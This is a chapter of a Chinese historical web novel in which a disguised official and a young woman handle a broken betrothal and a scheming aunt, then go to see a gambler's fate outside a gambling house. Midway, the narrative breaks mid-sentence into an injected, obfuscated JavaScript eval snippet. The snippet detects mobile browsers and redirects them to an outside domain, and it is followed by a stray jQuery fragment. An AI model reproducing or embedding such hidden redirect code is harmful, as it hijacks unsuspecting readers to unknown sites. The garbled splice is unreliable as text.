第8章
日头一点点爬上房檐，大剌剌地跳过窗纱的阻隔，把屋里人脸上的表情展露。
少女脸上写满了惊喜和期待，眼瞳深处隐藏着几缕忐忑。
沈千鹤一脸认真地重复：“我要去赌坊门口，看王伟杰的结局。”
贺同章笑了笑，把手指放在唇边，比划了个“噤声”的手势，摆摆手，压低声音回答：“放心。”
沈千鹤一抱拳，不再言语，像只小豹子似的，双臂一撑院墙，越过矮墙，消失在客院。
“指挥使，她……”
“该叫我什么？”贺同章脸上笑容不变，但眼睛里却没了笑意。
手下一瞬间改口：“少爷。”
“嗯，何事？”说话的同时，贺同章褪去帖里，只穿一身里衣往被窝里钻，做足了睡觉的架势。
手下看得龇牙咧嘴，上前询问：“少爷，您真打算用郑源外甥的身份住下了？”
贺同章躺在床上，阖上双眼，提出的问题却让手下哑口无言：“庞老头死死咬住话头，一句不肯透露线索；郑源失踪的神鬼不觉。周家上门逼婚，明明已有退意，夜半却突然有了胆子上门纵火——你们难道就没发现烧得最严重的位置不是沈千鹤的闺房，而是郑源书房和卧室？”
“这！”属下震惊地瞪大了眼睛，瞳孔瞬间收缩，意识到自己的失察。
“辽东这地方看着天广地阔，想不到亲临后却如坠迷雾。若不以身入局，怕是难见真相了。陛下将此事交付给我们，我要尽心为陛下办差。你们先回去眯一会，养养精神，过两个时辰之后再来。”
“是。”属下如来时一般无声无息地离去。沈宅无人察觉。
*
人的精力是有限的。
贺同章一路自应天府疾驰至辽东，一刻不停上门拷问庞家，再在郑家救火了大半夜。
这般密集的行程，他就算铁打的身子也熬不住了。
确定室内再无闲杂人等，贺同章放任自己沉入黑甜的梦中。
意识在温柔的黑海中随波逐流，直到院内响起脚步声，贺同章猛然睁开眼睛，手一下子抓住放在枕头下的匕首。
捆着的牛皮手柄咯着掌心，贺同章的理智回归。
“表少爷，老爷和夫人已经起了，奴婢来请表少爷和姑娘一道用饭？”
贺同章把散落的碎发抹到脑后，掀背起床，迅速穿好帖里，抓着系带打开房门：“辛苦姐姐过来一趟，我已经起来了。”
丫鬟进来在盆里添了热水，宁可手巾递给他，“表少爷客气了，叫奴婢百灵就行。老爷和太太昨晚上熬了一夜，姑娘的意思是，带着表少爷去和老爷、太太见一面，就随您出门——也不知道姑娘怎么了，得了妹妹高兴的不得了，眼睛底下明明还泛着青呢，却一个劲儿说，她要去庙里拜一拜，免得晦气沾了母亲和妹妹。”
贺同章心下好笑：沈千鹤倒会找借出门的借口。
不过，她好心提醒周家，却被周家当成狐狸精打上门；又因此家宅被烧，甚至当夜差点让烂赌鬼毁了清白。
确实太倒霉了。
家里没有新生儿落地，沈千鹤也该去庙里拜一拜了。
心里这么想，贺同章却说：“舅母和表妹母慈女孝，是家宅之幸。我常常在外行走，没有表妹对母亲的细心和体贴，想来真是惭愧。”
他匆匆梳洗一番，整理好衣衫头发，随着丫鬟往北院去，对门的一排客房也有了动静。
几十步的路程很快就到了。
贺同章一眼就看到站在院子里翘首以待的少女——只要披上大髦衣裳，立刻就能出门。
看来沈千鹤很着急去看王伟杰的“下场”。
这么大的胆子，一点也不像个闺秀。
能养出这般有胆略又有行动力的女儿，那位尚未谋面的郑中徽一定和沈太太一样，都是妙人。
视线交汇的一瞬，沈千鹤眼中迸发出笑意，很快的，这份笑意像一朵绽放的烟花，一瞬间展现出生动的魅力，充满整座庭院。
她跑到贺同章面前，一把抓住他拽进院子，语速极快道：“我爹早晨喜欢吃包子配整块的炖肉，既然姑姑和我爹是姐弟，想来饮食习惯相差无几。临时发面来不及了，我让厨房准备了几只汤包，但肉管够，你将就一顿。”
官员都想博得帝王青睐，想要在其中出头，自然要时时刻刻分析陛下的心思。
便是在京时，贺同章也把精力放在饮食上，下人送什么，他就吃什么。
他到了辽东，伪装成他乡来客，更不会指望一日三餐合口顺胃；但沈千鹤真把他当成亲人照顾……
不得不说，贺同章这可铁石心肠也感受到暖意了。
贺同章随沈千鹤入座，看过桌上几样饭菜：“舅舅喜欢面食，早餐却无此物，看来表妹与舅舅的口味不同了。”
世人常言，子不肖父，非幸事。
沈千鹤没察觉话中打探之意，顺口说：“我娘清晨喜欢精细的吃食，相处久了，我爹嫌弃桌子大，离我娘太远了，索性随着母亲的口味。我也如此，来，先吃这个，软和的温脾胃。”
一只汤盅马上被端到贺同章面前。
贺同章打开盖子，居然是一碗蒸蛋。
嫩黄滑溜的蛋面上铺着几只指肚大的虾仁，没有常见的酱油，越发显得蒸蛋晶莹诱人。
“表哥尝尝，姥姥家的蒸蛋味道特别好。”沈千鹤说完，用勺子破开她自己面前那一碗，吹了吹冒着热气的蒸蛋送入口中。
他跟着陛下什么山珍海味没吃过？一碗蒸蛋能有多特别。
贺同章不以为然地同样将蒸蛋送入口中，鲜咸的味道瞬间在口中散开。
他这才发现，蒸蛋不但表面放了鲜虾，内里还用洗过的干虾仁和贝柱提鲜，软硬不同的辅料丰富了蒸蛋的口感。
难怪沈千鹤赞口不绝，沈家的厨子确实有两把刷子。
蒸蛋之后是汤包和炒菜，果真如少女所说——肉管够。
饱餐一顿，贺同章反而生出了困倦。
沈千鹤敏锐地察觉了贺同章脸上的神情，她歉疚地压低声音：“都怪我，累了表哥通宵救火，今日还不得闲。”
贺同章掩口打了个哈欠，露出几分疲倦地回应：“一会出门坐车，路上我困了就躺下小睡片刻。表妹不介意吧？”
贺同章给沈千鹤帮大忙，她怎么可能嫌弃贺同章在车上睡觉！
少女立刻摇头：“一家人不说两家话，表哥和我相处，不需在意繁文缛节。”
贺同章眼里滚出笑意，“有表妹这句话，我感觉自己这一趟辽东之行就没白来。只等舅舅返家，与我们团圆了。”
“是啊，爹回家看到表哥，得知家乡亲人尚在，一定会很开心的。”沈千鹤跟着笑弯了眼睛，“走吧，我带你去见姥姥、姥爷。”
*
北院前往正房，又要重新经过客院。
赋南歌母子等在客院门口。
他仍旧穿着昨日的道服，但头上三五巾撤了，换上一顶玉质小冠。
看到沈千鹤和贺同章有说有笑的走过来，赋南歌脸色难看。
他不满意地撇下嘴角：“难怪她对婚事推三阻四的，原来身边每日‘环肥燕瘦’。”
及笄之年，还和不止一个外男不清不楚。
如此行事，居然有脸不满自己让她退居继室的位置。这样的女子，有貌无德，怎堪自己的重视。
“婚事作罢也好。两家相隔千里，等谢礼送到，渐渐断了联系就是。”赋南歌母亲轻叹一声，儿子的妻子自己不能挑选，她心中自然是不喜欢的，只是，她还有另外的顾虑，“老爷子就盼着两家结亲，压了你这么多年，要是不把人带回去，该怎么解释？”
“沈家拒婚，与我何干。”赋南歌冷哼，全然不提婚事作罢纯粹是他提出的条件强人所难。
沈千鹤到了面前，这对喁喁私语的母子总算住口。
少女口道万福，态度疏远地行李便要离开，被赋太太叫住。
婚约了解，赋太太不再用挑剔儿媳妇的眼光打量沈千鹤了。
她熟练地客套：“沈姑娘是去见老太太、老爷子吗？我们母子今日就打算返回金陵，想离开之前再拜见二老一回。”
难怪笑容满面的，原来听说不必再进行婚事，想要赶紧脚底抹油。
沈千鹤：“姥姥和姥爷早晨吃过饭要眯一会，赋太太快随我来吧，别晚了，打扰他们休息。”
见可以，但别一屁股坐下，就好像粘了胶似的不起来。
见过趁早滚蛋，也让自己眼不见心不烦。
“请随我来。”沈千鹤和贺同章走在最前面，带着赋南歌母子到了正院正房的客厅。
赋南歌从后打量着贺同章，看到他靴底猛然瞪大眼睛，呼吸乱了一瞬。
*
老人牙口不好，吃饭慢。
沈千鹤到的时候，老两口刚刚擦手饮茶，桌上的饭食尚未撤干净。
刘老太太看到一口气来了四个，笑道：“赋家的哥儿也过来了。家里常常来客人，客院的被褥是每天都挂出晾晒的，松软着呐，你肯定休息的不错。”
“是，让您费心了，吃住都顺心。我们过来是确定婚事的，既然现在无法结两姓之好，不如拜为异性兄妹，日后相互扶持。”赋南歌不留一丝退路，立刻提出了解这桩绵延了两代婚约的办法。
刘老太太握着茶碗愣住了。
赋南歌的要求倒不过分，但她心里总归觉得有些说不出的怪异。
沈老爷子抬起眼皮，朝着赋南歌看了几眼，心里叹了口气。
这个赋南歌，性子比十年前更偏狭了。
两家山水阻隔，真遇上什么难事，根本指望不上赋家，他这是又不想承担恶名，又不想掏钱，还不想旅行婚事了。
沈老爷子干脆放下茶碗，摆手直言：“本就是你祖父的戏言，不必当真。千鹤那丫头不是说了，让你送点你祖父的买命钱吗？留下钱，人趁早回去吧。辽东天寒地冻的，路不好走，别耽误你回金陵城过花朝节。”
他到多宝阁，打开一只匣子，亲自将其中的婚约书信交到赋南歌手上：“这是你祖父当年亲手写的，你当着大家的面撕掉。这事情就结束了。”
赋南歌接过婚书，看清纸面黑褐色的字迹，心里重重一跳。
这颜色……是血书！
是他祖父在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583827|171635||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生命垂危之际，沾着血写下的，盼着来救他的大善人能再庇佑他的家人一程。
赋南歌手上一抖，突然没了撤销婚事的勇气。
“长辈所书，我不敢擅专。婚事，还是我与母亲归家和祖父商议后再做决定吧。”赋南歌心虚地垂下头。
“噗！”沈千鹤被他出尔反尔的滑稽样子逗笑。
赋南歌燥红了耳朵，他还想再开口却被院门口传来嘈杂声响打断。
沈老爷子长子一家三口来问安了。
沈千鹤表情淡淡，屈膝问候：“舅舅、舅母、表姐。”
沈从军看着沈千鹤，眼神热情又空洞，并不亲近。沈千珊气弱地低下头，完全不敢与人对视。只有舅母王氏眼睛不准地围着沈千鹤打转。
王氏远远看到沈千鹤就“呀”了一声，进屋之后，绕着沈千鹤打量：“昨天茫茫乱乱的，千鹤熬了一晚上，今儿怎么还起这么早——你昨晚上，睡的实么？有没有听见什么动静？身子疼不疼？”
一连串的问题砸下来，字句之间的古怪毫不遮掩。
王氏是王伟杰亲姑姑，王伟杰一定是她放进门的。
王氏也是王伟杰的帮凶！
昨夜的惊慌和失手杀人的惊恐混合，转为熊熊怒气，烧毁了沈千鹤的理智。
沈千鹤一把抓住王氏：“你！”
王氏眼中骤然爆发出亢奋：“果真成了？！”
太好了，继承沈家的可以是她女儿了。
王氏眼中的兴奋仿佛一碰冷水淋在沈千鹤头顶，让她清醒过来。
沈千鹤强行压下口中质问，一把将王氏推倒，改口胡言乱语：“舅母真是好手段，为了驱我离家，往我床上丢死老鼠的粗俗手段都施展出来了！”
“……啊？”王氏跌坐在地，脸上的兴奋瞬间被茫然取代，“你说什么？”
沈千鹤逼近王氏，怒气不减：“我回去本来困得睁不开眼，谁知一躺下，被窝里躺着只死老鼠，吓得我直接清醒，怎么都睡不着了！你平时对我不闻不问的，今天突然提起这些，还说不是你派人干的？”
怎么会这样？
沈千鹤要是一直醒着，那伟杰就算进了北院，肯定也不敢露面。
赌坊今天就要上门讨债了！
王氏心乱如麻，她急忙推开沈千鹤的手，竟然不管不顾地跑了。
“心虚。”沈千鹤不高兴地低哼一声。
沈从军尴尬地欲言又止，沈千珊的头更低了，她好像恨不得把整个头都埋进怀里。
刘老太太捂着心口，不高兴地抿紧嘴唇，指着门口说：“从军，带王氏的女儿回去吧，我累了，要歇了。”
“是，母亲。千鹤，你舅母小孩性子，你别和她计较。”沈从军厚着脸皮勉强说了一声，匆匆带上沈千珊离开。
真相无法宣之于口，沈千鹤整理好心情，按照原计划进行。
她抱着刘老太太的手臂说：“姥姥，进门前我问了丫鬟，娘还睡着，我想和表哥一起出门去庙里给娘和妹妹请张平安符。”
刘老太太恢复笑脸，摸摸她的脸，从荷包里掏出一把碎银子放在沈千鹤掌心：“好，去吧，遇上喜欢的零嘴就买，钱不够让商户挂到咱家账上，过来取钱就是。”
沈千鹤把钱踹进钱袋，“好。姥姥和姥爷今天也多休息。”
*
半个时辰后，换了出门以上的沈千鹤和贺同章一同坐上沈家的大车。
车厢里，竟然还有另一位不速之客。
“你跟来干嘛？”沈千鹤毫不客气向赋南歌质问。
赋南歌挠了挠脸，气弱道：“婚事不成，也总有救命之恩在。我想一同去庙里，为沈太太点一盏灯祈福。”
伸手不打笑脸人，沈千鹤也不好再说什么。
她往贺同章身边靠了靠，“……随便你。”
马车前进的速度平缓。
街上叫卖声不绝于耳，沈千鹤早早掀起窗帘，趴在车窗上向外看。
一个气派的招牌进入她的视野，上书“宝局”二字，檐角挂着铜铃，被风吹得叮当作响。
门口空荡荡的，门外却人头攒动，议论纷纷。
“又有跑门口上吊的了。”
“还年轻呢，才二十来岁，真可惜啊。”
“可惜什么，烂赌鬼，趁早死了，免得耽误家里。”
“别乱说，也有不少是被骗了才欠赌债的。”
一群发髻裹蓝布留着络腮胡的壮汉粗鲁地推搡着围观人群，高喊：“不许胡说！不许议论！”
这里就是赌场了，王伟杰的悬尸之地。
沈千鹤回望贺同章，两人的视线在车厢里交汇，仅存于二人之间的隐晦秘密蔓延。
紧张的情绪上扬，沈千鹤乱了呼吸。
她抓紧窗框，忙道：“快停车。”便急不可耐地跳下车，钻进人群之中。
裙摆在明暗交际之间煽动，贺同章跟着起身，赋南歌一把按住贺同章地肩膀，面色不快：“你穿一寸厚的木底靴，到底是什么人？”
贺同章终于分出一点注意力放在赋南歌身上。
他低笑着拂开赋南歌拉在自己衣袖上的手：“多口舌者，易早夭。”